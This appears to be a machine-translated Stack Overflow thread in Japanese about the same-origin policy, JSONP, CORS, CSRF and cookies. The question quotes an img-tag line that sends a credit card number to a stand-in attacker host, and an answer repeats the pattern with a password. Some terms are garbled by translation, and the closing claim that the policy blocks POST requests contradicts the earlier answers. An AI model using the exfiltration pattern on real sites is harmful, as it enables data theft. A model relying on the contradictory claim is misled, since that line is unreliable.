スクリプトタグ/ JSONPがドメインをまたぐことができる場合のxmlhttprequestの同じドメインルールのポイントは何ですか？
私に代わってstackoverflow.comからロードされたページがgmail.comをリクエストして私のメールを読むことができないようにしたいのですが、これは単にCookieの問題のようです。
JSONPは同一オリジンを完全にバイパスするので、XMLHTTPRequestを同一オリジンに準拠させるのではなく、ブラウザが同一オリジンをCookieに適用しない理由を知りたいのです。つまり、ページがstackoverflow.comから読み込まれた場合、ブラウザはcookieをXHRからstackoverflow.comにのみ送信します。 XHRからFacebookへのユーザーのCookieの送信が阻止され、Facebookのログアウトビューが表示されます。
最初、私はそれが単なる「追加のレイヤー」のセキュリティだと思っていました。誰かがすでにあなたのパスワード/銀行口座番号を「malicioushacker.ru」に送信するスクリプトを挿入することで、あるサイトを危険にさらしています。ただし、その場合はJSONPを使用できるため、または単に<img src = "http：//malicious.example/steal？creditcard = 1234123412341234">タグを作成することもできるため、これは阻止されていることではありません。
あなたの前提は間違っています。スクリプトタグとJSONは、同一オリジンポリシーをバイパスしません。
同じ生成元のポリシーでは、evil.comはvictim.com上の任意のリソースに対する応答を読み取れないようにする必要があります。 evil.comのJavaScriptは、ほぼ任意のリクエストをトリガーしてvictim.comに送信できることに注意してください（たとえば、http://victim.com/whatever.htmlを指すIFRAMEを作成することにより）。ただし、evil.comのJavascriptはそのドキュメントの内容を読み取ることができません。つまり、その要求に対する応答を読み取ることができません。
おそらくあなたが考えているのは、evil.comがブラウザにvictim.comの任意の場所から任意のコードをロードし、evil.comのすべての権限で実行するように要求できることです。これは、同一オリジンポリシーの回避策ではありません。 （サードパーティのサイトからJavascriptをロードしている当事者にとっては、セキュリティリスクになる傾向があることにも注意してください。）
XHRを制限する必要があるのは、XHRにより、JavaScriptがリクエストの送信をトリガーするだけでなく、JavaScriptが応答を読み取ることができるためです。同一オリジンポリシーでは、クロスオリジンリクエストの場合、これを禁止しています。 same-Originポリシーは、リクエストがJavascriptコードのOriginと同じOriginに対するものである場合にのみ、応答の読み取りが許可されるべきであると述べています。したがって、evil.comからのJavascriptはhttp://evil.com/doitにXHRを発行して応答を読み取ることができますが、http://victim.com/doitにXHRを発行して応答を読み取ることはできません。
クロスオリジンXHRを発行する場合、ターゲットドメインはクロスオリジンXHRを送信することを承認する必要があります。それを行う方法については [〜＃〜] cors [〜＃〜] を調べてください。
「同じドメインルール」はありません。 XHRはPOSTまたは他のドメインにGETできます-要求元のOriginが応答を読み取ることができないだけです。
JSONPは、同一生成元ポリシーをバイパスしません。 SOPは単に上記のことを示しています-他のオリジンにリクエストを行うことができます。 JSONPは、応答を読み取る必要がなく、現在のドメインのコンテキストで実行するために別のドメインからのコードを含むだけです。コードを読み取ることはできず、ブラウザーでのみ実行されます。
「副作用」を引き起こす可能性のあるリクエストは、POSTとしてのみ実行する必要があります。サーバー側のコードでXHRを同じドメインに制限すると、JSON POSTアクションが実行中のサイトのドメイン以外で実行され、 [〜＃ 〜] csrf [〜＃〜] 脆弱性。これを有効にするには、サーバー側で Origin ヘッダーまたは-などのカスタムヘッダーのチェックを行う必要があります X-Requested-With[〜＃〜] cors [〜＃〜] がないとカスタムヘッダーをドメイン間で送信できないため、これは応答の読み取りが Same Origin Policy 、実際のクロスドメインの制限はありませんPOSTリクエストが最初から行われることから。
最近のほとんどのブラウザでは、 サードパーティのCookie を無効にすることができます。これにより、ブラウザーがそれらのドメインに以前に設定されたCookieを送信していないと想定して、AJAXを介して行われるCSRF攻撃を防ぐことができます。 Chrome設定が有効になっている場合、サードパーティのCookieを完全にブロックしているように見えます-ドメインがサードパーティの場合、Cookieは受け入れられないか送信されません。一部のブラウザは、以前のCookieを引き続き送信する場合がありますファーストパーティCookieとして受け入れられます。
これは、侵害されたサイトが<img src="//example.com/?password=1234" />を使用して別のサイトにデータを送信できる例では役に立ちませんが、この動作を外部ソースにしたい場合は コンテンツセキュリティポリシー を実装できますブラウザレベルでブロックされています。
[〜＃〜] cors [〜＃〜] 内では、クロスドメイン（Access-Control-Allow-Credentials）でCookieを受け入れるかどうかのサポートがあります。これには、Cookieだけでなく、他の認証方法も含まれます。繰り返しますが、これは要求元のドメインが応答を読み取ることができるかどうかにのみ影響し、そもそもそれが可能かどうかには影響しません。
TL：DR同一生成元ポリシーは、送信ではなく、主に情報の取得を防止します。
Same Origin Policyは、悪意のあるcomがbank.comのCookieを使用してbank.comから機密情報を取得することを阻止します。注意すべき重要な点は、Same Origin Policyが、悪意のあるスクリプトからのスクリプトがすべてbank.comからのデータを見るのを防ぐことを試みているということです。悪意のある.comのスクリプトがデータを取得すると、質問で説明されているように、さまざまな方法で電話をかけることができます。
悪意のあるサイトからのスクリプトがbank.comからデータを取得しようとする方法はいくつかありますが、同一生成元ポリシーによって阻止されます。
- ユーザーがmalicious.comにアクセスし、bank.comが適切なヘッダーを設定せずに（malicious.comの制御下にない）スクリプトがbank.comでajaxリクエストを実行しようとすると、リクエストが失敗する
- ユーザーがmalicious.comにアクセスし、スクリプトがbank.comから機密画像を読み込もうとします。リクエストは成功し、画像が読み込まれます。ただし、上記の画像からデータを取得しようとする試みは（データURLなどを介して）ブロックされます。
- ユーザーがmalicious.comにアクセスし、スクリプトがbank.comから機密スクリプト（JSONPまたはその他）をロードしようとします。スクリプトがCookieを必要とする場合、これは失敗します（bank.comがこれを許可するようにヘッダーを設定している場合を除く）。Cookieを必要としない場合、既に誰でも利用できます。
- ユーザーがbank.comにアクセスし、malicious.comからiframeに広告を読み込みます。 iframeが適切にサンドボックス化されている場合、広告は上記のシナリオと同様であり、bank.comのコンテンツにアクセスできません。
ただし、Same Origin Policyによって阻止されず、攻撃ベクトルを表す情報を取得する方法もあります。主なものはXSSで、ユーザーがbank.comにアクセスし、bank.comがサンドボックス化されていないスクリプトをmalicious.comからロードします。これにより、malicious.comのスクリプトは必要な処理をすべて実行できます。サイトは、信頼できないサイトに対してJSONPリクエストを実行してはならず、また、ユーザー入力からスクリプトタグをページに埋め込むこともできません。
さらに、同一生成元ポリシーは、POST要求（またはGETまたはOPTIONS要求以外のもの）の送信を防ぎます。